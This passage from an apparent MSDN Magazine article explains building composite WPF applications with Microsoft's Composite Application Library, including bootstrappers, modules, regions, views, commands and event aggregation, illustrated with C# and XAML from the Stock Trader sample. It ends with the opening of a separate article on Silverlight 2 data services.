Each team develops separate controls: FundNotes and FundLinks. To add both controls to the same control assembly, they must each be added to the control project. More important, they must be added to the main form, which means that changes to both code and XAML from each control must be merged with the main form. This type of operation can be incredibly brittle, especially for existing applications.
How do you check all of these changes back into the main application? By the time you're done, you will have potentially spent a significant amount of time doing merges and diffs in source control. If you make any mistakes applying the changes or you accidentally overwrite something, you'll be left with a broken application. The remedy lies in rethinking the application design.

Composite Applications
A composite app consists of loosely coupled modules that are dynamically discovered and composed at run time. Modules contain visual and non-visual components representing the different vertical slices of the system (see Figure 2). The visual components (views) are composed in a common shell that acts as the host for all of the app's content. Composites provide services that tie these module-level components together. Modules can offer additional services that relate to the specific functionality of the app.
Figure 2 Components of a Composite App
At a high level, a composite application is an implementation of the Composite View design pattern, which describes a recursive UI structure of views containing children that are themselves views. The views are then composed by a mechanism—usually at run time, in contrast to being statically composed at design time.
To illustrate the benefits of the pattern, think of an order entry system in which you have multiple instances of an order. Each instance may involve significant complexity to display the header, details, shipping, and receipts. As the system evolves, it may need to display more information. Imagine also that parts of the order display differently depending on the type of order.
If such a screen is built statically, then you may end up with a lot of conditional logic for displaying the different parts of the order. Also, adding new functionality increases the likelihood that the existing logic will break. If we implement this as a composite view, however, then we compose the order screen dynamically of only the relevant pieces. This means that we can do away with conditional display logic and add new child screens without modifying the order view itself.
Modules contribute the views from which the main composite view (otherwise known as the shell) is created. Modules never directly reference each other, nor do they directly reference the shell. Instead, they utilize services to communicate with one another and with the shell in order to respond to user actions.
Having a system composed of modules provides several benefits. Modules can aggregate data coming from different back-end systems within the same application. Additionally, the system can more easily evolve over time. As the system requirements change, new modules can be added to the system with much less friction than in a non-modular system. Existing modules can then be evolved more independently, thus improving testability. Finally, modules can be developed, tested, and maintained by different teams.

Composite Application Guidance
The Microsoft patterns & practices team recently shipped the first version of Composite Application Guidance for WPF (available at microsoft.com/CompositeWPF). The new guidance was designed to leverage the capabilities and programming model of WPF. At the same time, the team also improved upon the design of previous composite application guidance based on feedback from internal product teams, customers, and the .NET community.
The Composite Application Guidance for WPF includes a reference implementation (the Stock Trader app discussed previously), a Composite Application Library (CAL), quickstart applications, and design and technical documentation.
The CAL provides the services and plumbing for building composite apps. It uses a composition model that allows each of its services to be used piecemeal or together as part of a CAL-designed app. Each service is also easily replaceable without recompilation of the CAL. For example, the CAL ships with an extension that uses the Unity Application Block for dependency injection but lets you replace this with your own dependency injection service.
Quickstarts provide small, focused apps that demonstrate using each of the different CAL components. They are designed to help you ramp up on concepts without having to grasp everything at once.
In the remainder of the article, I will explore several technical concepts of composites that are illustrated in the Stock Trader reference implementation. All the code for the article is available in the Composite Application Guidance for WPF download from MSDN® at msdn.microsoft.com/library/cc707819.

The Bootstrapper and Containers
When you build composite applications using the CAL, you must first initialize several core composition services. This is where the bootstrapper comes in. It performs all the necessary functions for composition to occur (illustrated in Figure 3). In many ways it is the Main method of a CAL application.
Figure 3 Bootstrapper Initialization Tasks
First, the container is initialized. By container I mean an inversion of control (IoC)/dependency injection (DI) container. If you are unfamiliar with this term, check out the MSDN Magazine article, "Tame Your Software Dependencies for More Flexible Apps," by James Kovacs (msdn.microsoft.com/magazine/cc337885).
Containers play a key role in a CAL app. The container is the store of all the app services used in composition. It is responsible for injecting theses services wherever they are needed. By default, the CAL includes an abstract UnityBootstrapper that uses the Unity framework from patterns & practices as the container. However, CAL was built to work with other containers such as Windsor, Structure Map, and Sprint.NET. None of the classes in the CAL (other than the Unity extensions) depend on a specific container.
As the container is being configured, several core services used for composition are automatically registered, including a logger and an event aggregator, and the base bootstrapper lets you override any of these. For example, one service that is automatically registered is IModuleLoader. If you override the ConfigureContainer method in the bootstrapper, you can register your own module loader.
protected override void ConfigureContainer() {
  Container.RegisterType<IModuleLoader, MyModuleLoader>();
  base.ConfigureContainer();
}
If you don't want services to be registered by default, you can turn that off also. Simply call the Run method overload on the bootstrapper, passing a false value for the useDefaultConfiguration parameter.
Next, region adapters are configured. A region is a named location (usually a container, such as a panel) in the UI where modules can inject UIElements. Region adapters handle wiring different region types to be accessed. These adapters are mapped in a RegionAdapterMappings singleton instance in the container.
At this point the shell is created. The shell is the top-level window where regions are defined. Instead of declaring it in App.Xaml, it is created by the CreateShell method from within your application-specific bootstrapper. This is to ensure that the bootstrapper's initialization is completed before the shell is shown.
It may be surprising to know that you don't actually need to have a shell in your application. For example, you may have an existing WPF application to which you want to add some CAL functionality. Instead of having CAL control the entire screen, you may want to add a panel that will be a top-level region. In this instance, you don't need to define a shell. Your bootstrapper can simply ignore displaying the shell if it is not defined.

Module Initialization
Finally, modules are initialized. A module in a CAL application is a unit of separation within a composite that can be deployed as a separate assembly, though this is not a requirement. In a CAL app, the module is what contains most of the functionality.
Loading modules is a two-step process that involves two services: IModuleEnumerator and IModuleLoader. The enumerator is responsible for locating available modules. It returns several collections of ModuleInfo objects that contain metadata about a module. UnityBootstrapper contains a GetModuleEnumerator that should be overridden to return the correct enumerator; otherwise, an exception will be thrown at run time. The CAL includes enumerators for locating modules statically, from a directory scan, and from configuration.
For loading, the CAL includes a ModuleLoader that is used by UnityBootstrapper by default. It loads each of the module assemblies (if they have not been loaded) and then initializes them. Modules can specify dependencies on other modules. The ModuleLoader will build a dependency tree and initialize modules in the correct order based on these specifications.

Using the Bootstrapper
Because UnityBootstrapper is an abstract class, StockTraderRIBootstrapper overrides it (see Figure 4). The bootstrapper has several protected virtual methods that allow you to insert your own application-specific functionality.
Figure 4 Stock Trader Bootstrapper
public class StockTraderRIBootstrapper : UnityBootstrapper {
  private readonly EntLibLoggerAdapter _logger = new EntLibLoggerAdapter();

  protected override IModuleEnumerator GetModuleEnumerator()  {
    return new StaticModuleEnumerator()
    .AddModule(typeof(NewsModule))
    .AddModule(typeof(MarketModule))
    .AddModule(typeof(WatchModule), "MarketModule")
    .AddModule(typeof(PositionModule), "MarketModule", "NewsModule");
  }

  protected override ILoggerFacade LoggerFacade  {
    get { return _logger; }
  }

  protected override void ConfigureContainer()  {
    Container.RegisterType<IShellView, Shell>();

    base.ConfigureContainer();
  }

  protected override DependencyObject CreateShell()  {
    ShellPresenter presenter = Container.Resolve<ShellPresenter>();
    IShellView view = presenter.View;
    view.ShowView();
    return view as DependencyObject;
  }
}
The first thing you should notice is that an EntlibLoggerAdapter is defined and stored in the _logger variable. The code then overrides the LoggerFacade property to return this logger, which implements ILoggerFacade. In this case I am using the Enterprise Library's logger, but you can easily replace this to use your own adapter.
Next, the GetModuleEnumerator method is overridden to return a StaticModuleEnumerator that is pre-populated with the four reference implementation modules. The reference implementation uses static module loading, but there are several other ways to enumerate modules including directory lookup and configuration. To use a different method of enumeration, simply change this method to instantiate a different enumerator.
ConfigureContainer is then overridden to register the shell. Additional services can also be programmatically registered at this point if needed. Finally, CreateShell is overridden with the specific logic to create the shell. In this case the code is implementing the Model View Presenter pattern, so the shell has an associated presenter.
The bootstrapper shown in Figure 4 illustrates a common pattern when building a CAL app from scratch, which is to create an application-specific bootstrapper. A major benefit to this approach is that an application-specific bootstrapper enhances the testability of your application. The bootstrapper does not have any dependencies on WPF other than DependencyObject. You can, for example, create a test bootstrapper that inherits from the app-specific bootstrapper and overrides the CreateContainer method to return an AutoMocking container, thus mocking out all of your services.
Additionally, because the bootstrapper provides a single point of entry for initializing composition and because the CAL does not rely on inheritance from framework classes in your application, you can integrate CAL into your existing applications with less friction than in previous frameworks. Note that the CAL itself does not depend on the bootstrapper at all, so you can refrain from using it if a bootstrapper does not fit your needs.

Modules and Services
As I mentioned earlier, in a composite application built using the CAL, the bulk of the application logic lives in the modules. The Stock Trader reference implementation includes four modules:
  • NewsModule provides related news feeds for each fund that is selected.
  • MarketModule provides trend data, as well as real-time market data, for the selected fund.
  • WatchModule provides a Watch List that displays a list of funds you are monitoring.
  • PositionModule displays the list of funds in which you have invested and allows you to perform buy/sell transactions.
In the CAL, a module is a class that implements the IModule interface. This interface has only one method, called Initialize. If the bootstrapper is equivalent to the application's Main method, then the Initialize method is the Main for each module. For example, here you can see the Initialize method for WatchModule:
public void Initialize() {
  RegisterViewsAndServices();

  IWatchListPresentationModel watchListPresentationModel =
    _container.Resolve<IWatchListPresentationModel>();
  _regionManager.Regions["WatchRegion"].Add(watchListPresentationModel.View);
  IAddWatchPresenter addWatchPresenter =
    _container.Resolve<IAddWatchPresenter>();
  _regionManager.Regions["MainToolbarRegion"].Add(addWatchPresenter.View);
}
Before getting into the module specifics, two things that are worth discussing here are the references to _container and _regionManager. If the interface doesn't have these defined, then where do they come from? Am I hardcoding logic within the module to go find these dependencies?
Fortunately, the answer to that last question is no. This is where having an IoC container comes to the rescue. When a module is loaded, it is resolved from the container, which also injects any specified dependencies into the module's constructor:
public WatchModule(IUnityContainer container,
  IRegionManager regionManager) {
  _container = container;
  _regionManager = regionManager;
}
Here you can see that the container itself is injected into the module. This is possible because the bootstrapper registers the container in its ConfigureContainer method:
Container.RegisterInstance<IUnityContainer>(Container);
Giving modules direct access to the container allows the module to register and resolve dependencies from the container in an imperative fashion.
You don't need to have this imperative registration. Instead, you can put all services into a global configuration. Doing this would mean that all services must be registered when the container is initially created. However, most modules have module-specific services. And by keeping the registration in the module, those module-specific services are only registered if the module is loaded.
In the case of the module you were shown earlier, the first call is to RegisterViewsAndServices. In this method, each of the specific views for WatchModule is registered in the container along with an interface:
protected void RegisterViewsAndServices() {
  _container.RegisterType<IWatchListService, WatchListService>(
    new ContainerControlledLifetimeManager());
  _container.RegisterType<IWatchListView, WatchListView>();
  _container.RegisterType<IWatchListPresentationModel,
    WatchListPresentationModel>();
  _container.RegisterType<IAddWatchView, AddWatchView>();
  _container.RegisterType<IAddWatchPresenter, AddWatchPresenter>();
}
Requiring that the interface is specified fosters separation of concerns and allows other modules in the system to interact with the view without requiring a direct reference. Putting everything in the container allows each of the dependencies for the different objects to be injected automatically. WatchListView, for example, is never directly instantiated in the code—instead it is loaded as a dependency in the WatchListPresentationModel constructor:
public WatchListPresentationModel(IWatchListView view...)
In addition to the views, WatchModule also registers the WatchListService, which contains the list data and is used for adding new items. The specific views being registered are the watch list and the watch list toolbar. After registration, the region manager is used and both views that were just registered are added to the WatchRegion and ToolbarRegion.

Regions and RegionManager
Modules by themselves are not that interesting unless they can render content to the UI. In the previous section, you saw that the Watch module uses a region to add its two views. Using a region removes the need for the module to have any specific reference to the UI or have any knowledge of how the views injected will be laid out and displayed. For an example of this, Figure 5 depicts the regions into which WatchModule injects.
Figure 5 Injecting Modules into the App
CAL includes a Region class that is basically a handle that wraps these locations. The Region class contains a Views property that is a read-only collection of the views to be displayed within the region. Views are added to the region by calling the region's add method. The Views property actually contains a generic collection of objects; it is not limited to containing only UIElements. This collection implements INotifyPropertyCollectionChanged so that the UIElement associated with the region can bind to it and observe changes.
You might be wondering why the Views collection is weakly typed rather than being of type UIElement. Thanks to the rich template support in WPF, you can actually add models directly to the region. That model can then have an associated DataTemplate defined for it that will define the rendering for the model. If the item added is a UIElement or a user control, then WPF will just render it as is. This means that if you have a region that is a tab of open orders, you can simply add the OrderModel or OrderPresentationModel to the region and then define a custom DataTemplate to control the display rather than having to create a custom OrderView user control.
Regions can be registered in two ways. The first way is defined in XAML by annotating a UIElement with a RegionName attached property. For example, the XAML for defining the MainToolbarRegion is as follows:
<ItemsControl Grid.Row="1" Grid.Column="1"
  x:Name="MainToolbar"
  cal:RegionManager.RegionName="MainToolbarRegion">
  <ItemsControl.ItemsPanel>
    <ItemsPanelTemplate>
      <WrapPanel />
    </ItemsPanelTemplate>
  </ItemsControl.ItemsPanel>
</ItemsControl>
Once a region has been defined via XAML, it will automatically be registered at run time with RegionManager, one of the composition services registered by the bootstrapper. RegionManager is essentially a Dictionary where the key is the name of the region and the value is an instance of the IRegion interface. The RegionManager attached property uses a RegionAdapter to create this instance.
Note, however, that if using attached properties doesn't work for you or you need to register additional regions dynamically, you can manually create an instance of the Region class or derived class and add it to RegionManager's Regions collection.
Notice in the XAML snippet that the MainToolbarRegion is an ItemsControl. CAL ships with three region adapters that are registered by the bootstrapper—ContentControlRegionAdapter, ItemsControlRegionAdapter, and SelectorRegionAdapter. Adapters are registered with a RegionAdapterMappings class. Adapters all inherit from RegionAdapterBase, which implements the IRegionAdapter interface.
Figure 6 shows the implementation of ItemsControlRegionAdapter. How the adapter itself is implemented depends completely on the type of UIElement to which it is being adapted. In the case of ItemsControlRegionAdapter, the bulk of its implementation is in the Adapt method. The Adapt method accepts two parameters. The first parameter is an instance of the Region class itself that RegionManager creates. The second parameter is the UIElement that represents the region. The Adapt method performs the relevant plumbing to ensure that the region works with the element.
Figure 6 ItemsControlRegionAdapter
public class ItemsControlRegionAdapter : RegionAdapterBase<ItemsControl> {
  protected override void Adapt(IRegion region, ItemsControl regionTarget) {
    if (regionTarget.ItemsSource != null ||
      (BindingOperations.GetBinding(regionTarget,
      ItemsControl.ItemsSourceProperty) != null))
      throw new InvalidOperationException(
        Resources.ItemsControlHasItemsSourceException);

    if (regionTarget.Items.Count > 0) {
      foreach (object childItem in regionTarget.Items) {
        region.Add(childItem);
      }
      regionTarget.Items.Clear();
    }
    regionTarget.ItemsSource = region.Views;
  }

  protected override IRegion CreateRegion() {
    return new AllActiveRegion();
  }
}
In the case of an ItemsControl, the adapter automatically removes any child items from the ItemControl itself and then adds them to the region. The region's Views collection is then bound to the ItemsSource of the control.
The second method overridden is CreateRegion, which returns a new AllActiveRegion instance. Regions can contain views that are active or inactive. In the case of the ItemsControl, all of its items are active all the time because it does not have a notion of selection. However, in the case of other types of regions, such as Selector, only one item is selected at a time. A view can implement the IActiveAware interface so that it is notified by its region that it is selected. Whenever the view is selected, it will have its IsSelected property set to true.
Throughout the development of your composite application, you may have to create additional regions and region adapters, such as one that will adapt a control from a third-party vendor. To register your new region adapter, override the ConfigureRegionAdapterMappings method in the bootstrapper. Once that is done, add code similar to the following:
protected override RegionAdapterMappings
  ConfigureRegionAdapterMappings() {
  RegionAdapterMappings regionAdapterMappings =
    base.ConfigureRegionAdapterMappings();

  regionAdapterMappings.RegisterMapping(typeof(Selector),
    new MyWizBangRegionAdapter());

  return regionAdapterMappings;
}
Once the region has been defined, it can be accessed from any class within the application by grabbing hold of the RegionManager service. The common way to do this in a CAL application is to have the dependency injection container inject the RegionManager into the constructor of the class that needs it. To add a view or model to a region, simply call the region's Add method. When you add a view, you can pass an optional name:
_regionManager.Regions["MainRegion"].Add(
  somePresentationModel, "SomeView");
You can later use that name to retrieve the view from the region by using the region's GetView method.

Locally Scoped Regions
By default, there is only one RegionManager instance in your application, thereby making every region globally scoped. This addresses a wide set of scenarios, but there are situations where you may want to define a region that exists only at a particular scope. An example of where you might want to do this is when your application has a view for employee details where multiple instances of the view can be displayed at the same time. If these views are fairly complex, they behave like mini-shells or CompositeViews. In these cases, you may want each view to have its own regions, as the shell does. The CAL allows you to define a local RegionManager for a view so that any regions defined within it or its child views are automatically registered in that local region.
The UI Composition quickstart included with the guidance illustrates this employee scenario (see Figure 7). In the quickstart there is an employee list. As you click on each employee, you see the associated employee detail. For each employee selection, a new EmployeeDetailsView is created for that employee and added to the DetailsRegion (see Figure 8). This view contains a local TabRegion, into which the EmployeesController injects a ProjectListView in its OnEmployeeSelected method.
Figure 7 UI Composition via RegionManager
Figure 8 Creating a New Employee View
public virtual void
  OnEmployeeSelected(BusinessEntities.Employee employee) {
  IRegion detailsRegion =
    regionManager.Regions[RegionNames.DetailsRegion];
  object existingView = detailsRegion.GetView(
    employee.EmployeeId.ToString(CultureInfo.InvariantCulture));

  if (existingView == null) {
    IProjectsListPresenter projectsListPresenter =
    this.container.Resolve<IProjectsListPresenter>();
    projectsListPresenter.SetProjects(employee.EmployeeId);

    IEmployeesDetailsPresenter detailsPresenter =
      this.container.Resolve<IEmployeesDetailsPresenter>();
    detailsPresenter.SetSelectedEmployee(employee);

    IRegionManager detailsRegionManager =
      detailsRegion.Add(detailsPresenter.View,
      employee.EmployeeId.ToString(CultureInfo.InvariantCulture), true);

    IRegion region = detailsRegionManager.Regions[RegionNames.TabRegion];
    region.Add(projectsListPresenter.View, "CurrentProjectsView");
    detailsRegion.Activate(detailsPresenter.View);
  }
  else {
    detailsRegion.Activate(existingView);
  }
}
The region is rendered as a TabControl and contains both static and dynamic content. The General and Location tabs are statically defined within the XAML. The Current Projects tab, however, has its views injected.
You can see in the code that a new RegionManager instance is returned from the detailsRegion.Add method. Also notice that I am using the overload of Add that passes in a name for the view and sets the createRegionManagerScope parameter to true. Doing this creates a local RegionManager instance that will be used for any regions defined in the children. The TabRegion itself is defined in the XAML of the EmployeeDetailsView:
<TabControl AutomationProperties.AutomationId="DetailsTabControl"
  cal:RegionManager.RegionName="{x:Static local:RegionNames.TabRegion}" .../>
Using local regions provides an additional benefit even if you are not using instance regions. You can use them for defining a top-level boundary so that a module does not automatically expose its regions to the rest of the world. To do this, all you need is to add the top-level view for that module into a region and specify for it to have its own scope. Once you do that, you've effectively shielded that module's regions from the rest of the world. It's not impossible to access them, but it's much more difficult.

Without views you would have no need for a composite. Views are the single most important element that you will build within your composite apps, as they are the gateway for your users to the world of functionality that your application provides.
Views are typically the screens of your application. Views can contain other views, thereby becoming composite views. Another use of views is for menus and toolbars. In the Stock Trader, for example, the OrdersToolbar is a view that contains buttons for Submit, Cancel, Submit All, and Cancel All.
WPF supports a much richer notion of a View than what was the convention in the Windows Forms world. In Windows Forms you were basically restricted to using controls as your visual representation. In WPF, this model is still supported and you can create custom user controls for representing your different screens. If you look throughout the Stock Trader application, this is the primary mechanism employed for defining views.
Another approach is to use models. WPF will allow you to bind any model to the UI and then use a DataTemplate to render it. Templates are rendered recursively, meaning that if a template renders an element that binds to a property of the model, that property will be rendered using a template if it is available.
For an example of how this works, let's take a look at the following code sample. This sample implements the same UI as the Composition quickstart but uses models and DataTemplates entirely. There is not one user control in the entire project. Figure 9 illustrates how the EmployeeDetailsView is handled. The view is now a set of three DataTemplates that have been defined in a ResourceDictionary. Everything starts with the EmployeeDetailsPresentationModel. Its template declares that it should be rendered as a TabControl. As part of the template, it binds the TabControl's ItemsSource to the EmployeeDetailsPresentationModel's EmployeeDetails collection property. This collection is populated with two pieces of information when the Employee details are constructed:
public EmployeesDetailsPresentationModel() {
  EmployeeDetails = new ObservableCollection<object>();
  EmployeeDetails.Insert(0, new HeaderedEmployeeData());
  EmployeeDetails.Insert(1, new EmployeeAddressMapUrl());
  ...
}
Figure 9 Creating an EmployeeDetailsView
<ResourceDictionary
  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:EmployeesDetailsView=
    "clr-namespace:ViewModelComposition.Modules.Employees.Views.EmployeesDetailsView">

  <DataTemplate
    DataType="{x:Type EmployeesDetailsView:HeaderedEmployeeData}">
    <Grid x:Name="GeneralGrid">
      <Grid.ColumnDefinitions>
        <ColumnDefinition></ColumnDefinition>
        <ColumnDefinition Width="5"></ColumnDefinition>
        <ColumnDefinition Width="*"></ColumnDefinition>
      </Grid.ColumnDefinitions>
      <Grid.RowDefinitions>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
        <RowDefinition></RowDefinition>
      </Grid.RowDefinitions>
      <TextBlock Text="First Name:" Grid.Column="0" Grid.Row="0">
      </TextBlock>
      <TextBlock Text="Last Name:" Grid.Column="2" Grid.Row="0">
      </TextBlock>
      <TextBlock Text="Phone:" Grid.Column="0" Grid.Row="2"></TextBlock>
      <TextBlock Text="Email:" Grid.Column="2" Grid.Row="2"></TextBlock>
      <TextBox x:Name="FirstNameTextBox"
        Text="{Binding Path=Employee.FirstName}"
        Grid.Column="0" Grid.Row="1"></TextBox>
      <TextBox x:Name="LastNameTextBox"
        Text="{Binding Path=Employee.LastName}"
        Grid.Column="2" Grid.Row="1"></TextBox>
      <TextBox x:Name="PhoneTextBox" Text="{Binding Path=Employee.Phone}"
        Grid.Column="0" Grid.Row="3"></TextBox>
      <TextBox x:Name="EmailTextBox" Text="{Binding Path=Employee.Email}"
        Grid.Column="2" Grid.Row="3"></TextBox>
    </Grid>
  </DataTemplate>

  <DataTemplate
    DataType="{x:Type EmployeesDetailsView:EmployeeAddressMapUrl}">
    <Frame Source="{Binding AddressMapUrl}" Height="300"></Frame>
  </DataTemplate>

  <DataTemplate DataType="{x:Type
    EmployeesDetailsView:EmployeesDetailsPresentationModel}">
    <TabControl x:Name="DetailsTabControl"
      ItemsSource="{Binding EmployeeDetails}" >
      <TabControl.ItemContainerStyle>
        <Style TargetType="{x:Type TabItem}"
          BasedOn="{StaticResource RoundedTabItem}">
          <Setter Property="Header" Value="{Binding HeaderInfo}" />
        </Style>
      </TabControl.ItemContainerStyle>
    </TabControl>
  </DataTemplate>
</ResourceDictionary>
A separate tab will be rendered for each item in the collection. As the first item gets rendered, WPF will use the DataTemplate specified for HeaderedEmployeeData. The HeaderedEmployeeData model contains the employee name and contact info. Its associated template renders the model as a series of labels for displaying the information. The second item will get rendered using the template specified for EmployeeAddressMapUrl, which in this case will render a frame that contains a Web page with a map of where the employee lives.
This is quite a paradigm shift in that it means that the view as you previously knew it only really exists at run time through the combination of the model and its associated template. You can also implement a hybrid of both approaches (as demonstrated in the Stock Trader), where you have user controls that have controls within them that are then bound to models that are rendered through templates.

Separated Presentation
Earlier in this article I mentioned that one of the benefits of building a composite is that it allows the code to be more maintainable and testable. There are several established presentation patterns you can apply within your views to achieve this. Throughout the Composite Application Guidance for WPF, you will see two recurring patterns that are used in the UI: Presentation Model and Supervising Controller.
The Presentation Model pattern assumes a model that contains both the behavior and the data for the UI. The view then projects the presentation model's state "onto the glass."
Behind the scenes the model interacts with business and domain models. The model also includes additional state information such as the selected item or whether an element is checked. The view then binds to the Presentation Model directly and renders it (see Figure 10). The rich support in WPF for data binding, templates, and commands makes the Presentation Model pattern an attractive option for development.
Figure 10 The Presentation Model Pattern
The Stock Trader application uses Presentation Model judiciously, such as in the position summary:
public class PositionSummaryPresentationModel :
  IPositionSummaryPresentationModel, INotifyPropertyChanged {
  public PositionSummaryPresentationModel(
    IPositionSummaryView view,...) {
    ...
  }

  public IPositionSummaryView View { get; set; }
  public ObservableCollection<PositionSummaryItem>
    PositionSummaryItems {
    get; set; }
}
You can see that the PositionSummaryPresentationModel implements INotifyPropertyChanged to notify the view of any changes. The view itself is injected into the constructor through its IPositionSummaryView interface as the PositionSummaryPresentationModel is resolved from the container. This interface allows the view to be mocked in unit testing. The Presentation Model exposes an observable collection of PositionSummaryItems. These items are bound to the PostionSummaryView and rendered.
Within the Supervising Controller pattern there exists the model, the view, and the presenter; this is illustrated in Figure 11. The model is the data; it is more often than not a business object. The view is a UIElement to which the model directly binds. And lastly, the presenter is a class that contains the UI logic. In this pattern, the view contains very little logic other than delegating to the presenter and responding to callbacks from the presenter to perform simple actions including either displaying or hiding a control.
Figure 11 The Supervising Controller Pattern
The Supervising Controller pattern is also used in a few instances in the Stock Trader app in favor of Presentation Model. One example is the trend line (see Figure 12). Similar to the PositionSummaryPresentationModel, the TrendLinePresenter is injected with the TrendLineView through the ITrendLineView interface. The Presenter exposes an OnTickerSymbolSelected method that the view invokes through its delegation logic. In that method, note that the presenter then calls back to the view, invoking its UpdateLineChart and SetChartTitle methods.
Figure 12 Presenting the Trend Line
public class TrendLinePresenter : ITrendLinePresenter {
  IMarketHistoryService _marketHistoryService;

  public TrendLinePresenter(ITrendLineView view,
    IMarketHistoryService marketHistoryService) {
    this.View = view;
    this._marketHistoryService = marketHistoryService;
  }

  public ITrendLineView View { get; set; }

  public void OnTickerSymbolSelected(string tickerSymbol) {
    MarketHistoryCollection historyCollection =
      _marketHistoryService.GetPriceHistory(tickerSymbol);
    View.UpdateLineChart(historyCollection);
    View.SetChartTitle(tickerSymbol);
  }
}

One of the challenges that arise when implementing separated presentation is the communication between the view and the presentation model or presenter. There are several approaches to handling this. One that is often implemented is having event handlers in the view that either directly call or raise events to the presentation model or presenter. The same UIElements that initiate calls to the presenter often have to be enabled or disabled in the UI based on state changes or permissions. This requires the view to have methods that can be used to call it back in order to disable those elements.
Another approach is to use WPF commands. Commands provide a clean way of addressing these situations without requiring all the back-and-forth delegation logic. Elements in WPF can bind to commands to handle both execution logic and enabling or disabling elements. When a UIElement is bound to a command, it will automatically be disabled whenever the command's CanExecute property is false. Commands can be bound declaratively in XAML.
Out of the box, WPF provides RoutedUICommands. Using these commands requires a handler for the Execute and CanExecute methods within the view's codebehind—which means that code modification is still required for the back-and-forth communication. RoutedUICommands also have other constraints, such as requiring the receiver to be in WPF's logical tree, a constraint that is problematic for building composites.
Fortunately, RoutedUICommands are just one implementation of commands. WPF provides the ICommand interface and will bind to any command that implements it. This means you can create custom commands to suit all your needs, and you don't need to touch the codebehind. The downside is that you have to implement custom commands, such as SaveCommand, SubmitCommand, and CancelCommand, all over the place.
The CAL includes new commands such as the DelegateCommand<T>, which allows you to specify the two delegates for the Execute and CanExecute methods in the constructor. Using this command allows you to wire up views without having to delegate through methods defined in the view itself and without having to create custom commands for each action.
In the Stock Trader app, DelegateCommand is used in several places including the watch list. WatchListService uses this command for adding items to the watch list:
public WatchListService(IMarketFeedService marketFeedService) {
  this.marketFeedService = marketFeedService;
  WatchItems = new ObservableCollection<string>();
  AddWatchCommand = new DelegateCommand<string>(AddWatch);
}

In addition to routing commands between the view and a presenter or presentation model, there are other types of communication, such as event publication, that need to be handled in a composite. In these cases, the publisher is completely decoupled from the subscriber. For example, a module may expose a Web service endpoint that receives notifications from the server. Once that notification is received, it needs to fire an event to which components within the same or other modules can subscribe.
To support this functionality, the CAL has an EventAggregator service that is registered with the container. Using this service, which is an implementation of the Event Aggregator pattern, publishers and subscribers can communicate in a loosely coupled fashion. The EventAggregator service contains a repository of events that are instances of the abstract EventBase class. The service has one GetEvent<TEventType> method for retrieving event instances.
The CAL includes the CompositeWPFEvent<TPayload> class that inherits EventBase and provides specific support for WPF. This class uses delegates rather than full .NET events for publishing. Under the hood it uses a DelegateReference class that, by default, functions as a weak delegate (see msdn.microsoft.com/library/ms404247 for more on weak delegates). This allows subscribers to be garbage collected even when they do not explicitly unsubscribe.
The CompositeWPFEvent class contains Publish, Subscribe, and Unsubscribe methods. Each uses the generic type information of the event to ensure that the publisher passes the correct parameters (TPayload) and the Subscriber property receives them (Action<TPayload>). The Subscribe method allows passing in a ThreadOption that can be set to PublisherThread, UIThread, or BackgroundThread. This option determines on which thread the subscribing delegate will be invoked. Also, the Subscribe method is overloaded to allow passing in a Predicate<T> filter so that the subscriber only gets notified of the event if the filter is satisfied.
In the Stock Trader app, the EventAggregator is used for broadcasting whenever a symbol is selected in the positions screen. The News module subscribes to this event and displays news for that fund. Here's how the functionality is implemented:
public class TickerSymbolSelectedEvent :
  CompositeWpfEvent<string> {
}
First the event is defined in the StockTraderRI.Infrastructure assembly. This is a shared assembly that all the modules reference:
public void Run() {
  this.regionManager.Regions["NewsRegion"].Add(
    articlePresentationModel.View);
  eventAggregator.GetEvent<TickerSymbolSelectedEvent>().Subscribe(
    ShowNews, ThreadOption.UIThread);
}

public void ShowNews(string companySymbol) {
  articlePresentationModel.SetTickerSymbol(companySymbol);
}
The News module's NewsController subscribes to this event in its Run method:
private void View_TickerSymbolSelected(object sender,
  DataEventArgs<string> e) {
  _trendLinePresenter.OnTickerSymbolSelected(e.Value);

  EventAggregator.GetEvent<TickerSymbolSelectedEvent>().Publish(
    e.Value);
}
The PositionSummaryPresentation model then fires the event whenever a symbol is selected.

Wrapping Up
Download the guidance from microsoft.com/compositewpf. To run the code, you just need the .NET Framework 3.5 installed.
The guidance contains tools to help you get going. The quickstarts offer easy-to-understand samples that focus on different aspects of building composites. The reference implementation gives you a comprehensive example that utilizes all of the different aspects. Finally, the documentation provides background information, a complete set of how-tos for specific tasks, and a hands-on lab.
As you use the guidance, post your opinion of it on the CodePlex forums or send an e-mail to cafbk@microsoft.com.
Glenn Block is a PM for the new Managed Extensibility Framework (MEF) in the .NET Framework 4.0. Before working on MEF, he was a Product Planner in patterns & practices responsible for Prism as well as other client guidance. Glenn is a geek at heart and spends a good portion of his time spreading that geekdom through conferences and groups such as ALT.NET. Read his blog at www.codebetter.com/blogs/glenn.block.


Data Services
Create Data-Centric Web Applications With Silverlight 2
Shawn Wildermuth
Code download available at: SLDataServices2008_09a.exe (234 KB)
Browse the Code Online

This article was written using .NET 3.5 SP1 Beta and Silverlight 2 Beta 2. Now that .NET 3.5 SP1 is out of Beta, there are some incompatibilities between the released version of .NET 3.5 SP1 and Silverlight 2 Beta 2. The code in this article may not work until Silverlight 2 has been updated to work with .NET 3.5 SP1. This code will be updated at that time.
This article discusses:
  • Connecting Silverlight to a data source
  • Using ADO.NET Data Services
  • Using LINQ to SQL
  • Debugging the service
This article uses the following technologies:
Silverlight 2 Beta 2, LINQ, ADO.NET Data Services
Contents
ADO.NET Data Services
Creating the Service
Querying and Updating Data
The Silverlight 2.0 Client Library
Loading Related Entities
Change Management
Updating through the Service
Debugging the Service
Where We Are
Line-of-business and other data-centric applications can be built in Silverlight™, but working with data in Silverlight isn't always simple. While Silverlight contains many of the tools you need in order to consume data and support Web services and XML, these tools only represent the basics of data access across a firewall.
A common data-access strategy uses a mix of Web services and client-side LINQ, a highly recommended approach if you're leveraging existing Web service endpoints to power your Silverlight applications. But if you are building new Web services to work specifically with Silverlight, there is an unnecessary cost involved.
For a typical Web service layer, you implement a traditional data-access strategy on the server (custom business objects, LINQ to SQL, Entity Framework, NHibernate, and so on) and expose data objects through the Web service. The Web service then is merely a gateway to the underlying data-access strategy.
But to enable full data connectivity, you must map the four data operations (Create, Read, Update, and Delete) to Web service methods. For example, a simple service contract to support a Product class would look something like Figure 1. (Note that I use C# throughout the article, but the code download includes Visual Basic® code as well.)
